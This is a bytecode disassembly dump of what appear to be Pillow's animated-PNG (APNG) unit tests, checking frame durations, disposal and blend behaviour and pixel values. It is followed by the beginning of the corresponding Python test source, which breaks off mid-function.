CALL_METHOD LOAD_CONST (255, 0, 0, 127) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/old-style-jpeg-compression.png' CALL_METHOD SETUP_WITH to 70 STORE_FAST im LOAD_FAST im LOAD_METHOD copy CALL_METHOD LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST im LOAD_ATTR size LOAD_CONST (255, 0, 0, 255) CALL_METHOD BUILD_LIST STORE_FAST frames LOAD_FAST im LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_CONST True LOAD_FAST frames LOAD_CONST ('save_all', 'default_image', 'append_images') CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 176 STORE_FAST im LOAD_CONST None STORE_FAST exception SETUP_EXCEPT to 122 LOAD_FAST im LOAD_METHOD seek LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 BINARY_SUBTRACT CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 160 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 146 LOAD_FAST e STORE_FAST exception POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 160 END_FINALLY LOAD_FAST exception LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/delay.png' CALL_METHOD SETUP_WITH to 168 STORE_FAST im BUILD_LIST STORE_FAST frames BUILD_LIST STORE_FAST durations LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'loop' CALL_METHOD STORE_FAST loop LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'default_image' CALL_METHOD STORE_FAST default_image SETUP_LOOP to 130 LOAD_GLOBAL enumerate LOAD_GLOBAL ImageSequence LOAD_METHOD Iterator LOAD_FAST im CALL_METHOD CALL_FUNCTION GET_ITER FOR_ITER to 128 UNPACK_SEQUENCE STORE_FAST i STORE_FAST frame_im LOAD_FAST frames LOAD_METHOD append LOAD_FAST frame_im LOAD_METHOD copy CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST i LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_TRUE LOAD_FAST default_image POP_JUMP_IF_TRUE LOAD_FAST durations LOAD_METHOD append LOAD_FAST frame_im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' LOAD_CONST 0 CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST frames LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST default_image LOAD_FAST frames LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST durations LOAD_FAST loop LOAD_CONST ('save_all', 'default_image', 'append_images', 'duration', 'loop') CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 344 STORE_FAST im LOAD_FAST im LOAD_METHOD load CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'loop' CALL_METHOD LOAD_FAST loop COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 3 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 500.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 4 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_METHOD get LOAD_CONST 'duration' CALL_METHOD LOAD_CONST 1000.0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_CONST (128, 64) LOAD_CONST (255, 0, 0, 255) CALL_METHOD STORE_FAST frame LOAD_FAST frame LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST frame LOAD_FAST frame BUILD_LIST LOAD_CONST 500 LOAD_CONST 100 LOAD_CONST 150 BUILD_LIST LOAD_CONST ('save_all', 'append_images', 'duration') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 440 STORE_FAST im LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'duration' LOAD_FAST im LOAD_ATTR info COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_CONST (128, 64) CALL_METHOD STORE_FAST different_frame LOAD_FAST frame LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST frame LOAD_FAST different_frame BUILD_LIST LOAD_CONST 500 LOAD_CONST 100 LOAD_CONST 150 BUILD_LIST LOAD_CONST ('save_all', 'append_images', 'duration') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 568 STORE_FAST im LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR info LOAD_CONST 'duration' BINARY_SUBSCR LOAD_CONST 600 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_ATTR info LOAD_CONST 'duration' BINARY_SUBSCR LOAD_CONST 150 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 300 LOAD_FAST frame LOAD_ATTR info LOAD_CONST 'duration' STORE_SUBSCR LOAD_FAST frame LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST frame LOAD_FAST different_frame BUILD_LIST LOAD_CONST ('save_all', 'append_images') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 656 STORE_FAST im LOAD_FAST im LOAD_ATTR n_frames LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_ATTR info LOAD_CONST 'duration' BINARY_SUBSCR LOAD_CONST 600 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_CONST (128, 64) STORE_FAST size LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (255, 0, 0, 255) CALL_METHOD STORE_FAST red LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (0, 255, 0, 255) CALL_METHOD STORE_FAST green LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (0, 0, 0, 0) CALL_METHOD STORE_FAST transparent LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST green LOAD_FAST transparent BUILD_LIST LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_CONST ('save_all', 'append_images', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 152 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_BACKGROUND LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE BUILD_LIST STORE_FAST disposal LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST red LOAD_FAST transparent BUILD_LIST LOAD_FAST disposal LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_CONST ('save_all', 'append_images', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 272 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_BACKGROUND BUILD_LIST STORE_FAST disposal LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST green BUILD_LIST LOAD_FAST disposal LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_CONST ('save_all', 'append_images', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 386 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_PREVIOUS LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE BUILD_LIST STORE_FAST disposal LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST green LOAD_FAST red LOAD_FAST transparent BUILD_LIST LOAD_CONST True LOAD_FAST disposal LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_CONST ('save_all', 'append_images', 'default_image', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 512 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 3 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_PREVIOUS BUILD_LIST STORE_FAST disposal LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST green BUILD_LIST LOAD_FAST disposal LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_CONST ('save_all', 'append_images', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 626 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_BACKGROUND LOAD_FAST red LOAD_ATTR info LOAD_CONST 'disposal' STORE_SUBSCR LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_CONST (10, 10) LOAD_CONST (0, 255, 0, 255) CALL_METHOD BUILD_LIST LOAD_CONST ('save_all', 'append_images') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 720 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_CONST (128, 64) STORE_FAST size LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (0, 0, 255, 255) CALL_METHOD STORE_FAST blue LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (255, 0, 0, 255) CALL_METHOD STORE_FAST red LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (0, 255, 0, 255) CALL_METHOD STORE_FAST green LOAD_FAST blue LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST red LOAD_FAST green BUILD_LIST LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_PREVIOUS LOAD_CONST ('save_all', 'append_images', 'disposal') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 164 STORE_FAST im LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 255, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_CONST (128, 64) STORE_FAST size LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (255, 0, 0, 255) CALL_METHOD STORE_FAST red LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (0, 255, 0, 255) CALL_METHOD STORE_FAST green LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'RGBA' LOAD_FAST size LOAD_CONST (0, 0, 0, 0) CALL_METHOD STORE_FAST transparent LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_SOURCE BUILD_LIST STORE_FAST blend LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST red LOAD_FAST green BUILD_LIST LOAD_CONST True LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_FAST blend LOAD_CONST ('save_all', 'append_images', 'default_image', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 166 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_SOURCE BUILD_LIST STORE_FAST blend LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST red LOAD_FAST transparent BUILD_LIST LOAD_CONST True LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_FAST blend LOAD_CONST ('save_all', 'append_images', 'default_image', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 284 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 0, 0, 0) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST green LOAD_FAST transparent BUILD_LIST LOAD_CONST True LOAD_GLOBAL PngImagePlugin LOAD_ATTR Disposal LOAD_ATTR OP_NONE LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_CONST ('save_all', 'append_images', 'default_image', 'disposal', 'blend') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 440 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (64, 32) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL PngImagePlugin LOAD_ATTR Blend LOAD_ATTR OP_OVER LOAD_FAST red LOAD_ATTR info LOAD_CONST 'blend' STORE_SUBSCR LOAD_FAST red LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST green LOAD_FAST transparent BUILD_LIST LOAD_CONST ('save_all', 'append_images') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 526 STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 2 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD getpixel LOAD_CONST (0, 0) CALL_METHOD LOAD_CONST (0, 255, 0, 255) COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Image LOAD_METHOD open LOAD_CONST 'Tests/images/apng/delay.png' CALL_METHOD STORE_FAST im LOAD_FAST im LOAD_METHOD seek LOAD_CONST 1 CALL_METHOD POP_TOP LOAD_FAST im LOAD_METHOD close CALL_METHOD POP_TOP LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 54 POP_TOP LOAD_FAST im LOAD_METHOD seek LOAD_CONST 0 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'temp.png' BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST test_file LOAD_GLOBAL Image LOAD_METHOD new LOAD_CONST 'L' LOAD_CONST (1, 1) CALL_METHOD STORE_FAST im LOAD_FAST im LOAD_ATTR save LOAD_FAST test_file LOAD_CONST True LOAD_FAST default_image LOAD_FAST duplicate POP_JUMP_IF_FALSE LOAD_FAST im LOAD_METHOD convert LOAD_FAST mode CALL_METHOD JUMP_FORWARD to 60 LOAD_GLOBAL Image LOAD_METHOD new LOAD_FAST mode LOAD_CONST (1, 1) LOAD_CONST 1 CALL_METHOD BUILD_LIST LOAD_CONST ('save_all', 'default_image', 'append_images') CALL_FUNCTION POP_TOP LOAD_GLOBAL Image LOAD_METHOD open LOAD_FAST test_file CALL_METHOD SETUP_WITH to 98 STORE_FAST reloaded LOAD_FAST reloaded LOAD_ATTR mode LOAD_FAST mode COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE
from __future__ import annotations import pytest from PIL import Image, ImageSequence, PngImagePlugin def test_apng_basic(): with Image.open("Tests/images/apng/single_frame.png") as im: assert not im.is_animated assert im.n_frames == 1 assert im.get_format_mimetype() == "image/apng" assert im.info.get("default_image") is None assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with Image.open("Tests/images/apng/single_frame_default.png") as im: assert im.is_animated assert im.n_frames == 2 assert im.get_format_mimetype() == "image/apng" assert im.info.get("default_image") assert im.getpixel((0, 0)) == (255, 0, 0, 255) assert im.getpixel((64, 32)) == (255, 0, 0, 255) im.seek(1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with pytest.raises(EOFError): im.seek(2) im.seek(0) assert im.getpixel((0, 0)) == (255, 0, 0, 255) assert im.getpixel((64, 32)) == (255, 0, 0, 255) im.seek(1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) @pytest.mark.parametrize( "filename", ("Tests/images/apng/split_fdat.png", "Tests/images/apng/split_fdat_zero_chunk.png"), ) def test_apng_fdat(filename): with Image.open(filename) as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) def test_apng_dispose(): with Image.open("Tests/images/apng/dispose_op_none.png") as im: im.seek(im.n_frames - 1) assert im.getpixel((0, 0)) == (0, 255, 0, 255) assert im.getpixel((64, 32)) == (0, 255, 0, 255) with 